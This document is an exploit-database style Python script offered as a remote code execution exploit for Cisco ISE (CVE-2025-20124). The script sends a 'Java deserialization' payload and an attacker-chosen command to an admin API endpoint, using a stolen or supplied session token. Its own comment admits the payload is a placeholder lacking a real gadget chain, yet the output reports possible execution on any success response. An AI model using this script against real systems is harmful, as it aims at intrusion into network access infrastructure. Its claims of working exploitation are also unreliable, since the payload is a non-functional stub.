Cisco ISE 3.0 – Remote Code Execution (RCE)
# Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE) # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Java Deserialization RCE # CVE: CVE-2025-20124 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id" #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse import base64 import urllib3 urllib3.disable_warnings() def banner(): print(r""" _________ .__ \_ ___ \|__| ______ ____ ____ / \ \/| |/ ___// ___\/ _ \ \ \___| |\___ \\ \__( <_> ) \______ /__/____ >\___ >____/ \/ \/ \/ Cisco ISE Java Deserialization RCE CVE-2025-20124 Author: ibrahmsql | github.com/ibrahmsql """) def build_serialize_payload(cmd): """ Java deserialization payload builder """ java_cmd = cmd.replace('"', '\\"') # Placeholder serialization - gerçek exploit için gadget chain gerekli payload = f'\xac\xed\x00\x05sr\x00...ExecGadget...execute("{java_cmd}")' return base64.b64encode(payload.encode()).decode() def exploit_deserialization(base_url, session_token, cmd): """ CVE-2025-20124: Java Deserialization RCE """ endpoint = f"{base_url}/api/v1/admin/deserializer" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } payload = build_serialize_payload(cmd) data = {"object": payload} print(f"[+] Target: {base_url}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Command: {cmd}") print(f"[+] Sending deserialization payload...") try: r = requests.post(endpoint, json=data, headers=headers, verify=False, timeout=10) if r.status_code == 200: print("[+] Payload successfully sent!") print("[+] Command possibly executed!") if r.text: print(f"[+] Response: {r.text[:500]}") elif r.status_code == 401: print("[-] Authentication failed - invalid session token") elif r.status_code == 403: print("[-] Access denied - insufficient privileges") elif r.status_code == 404: print("[-] Endpoint not found - target may not be vulnerable") else: print(f"[-] Unexpected response: {r.status_code}") print(f"[-] Response: {r.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def main(): parser = argparse.ArgumentParser( description="CVE-2025-20124 - Cisco ISE Java Deserialization RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 CVE-2025-20124.py --url https://ise.company.com --session ABCD1234 --cmd "id" python3 CVE-2025-20124.py --url https://10.0.0.1:9060 --session TOKEN123 --cmd "whoami" """ ) parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance") parser.add_argument("--session", required=True, help="Authenticated ISE session token") parser.add_argument("--cmd", required=True, help="Command to execute via deserialization") args = parser.parse_args() banner() # URL validation if not args.url.startswith(('http://', 'https://')): print("[-] URL must start with http:// or https://") sys.exit(1) exploit_deserialization(args.url, args.session, args.cmd) if __name__ == "__main__": main() |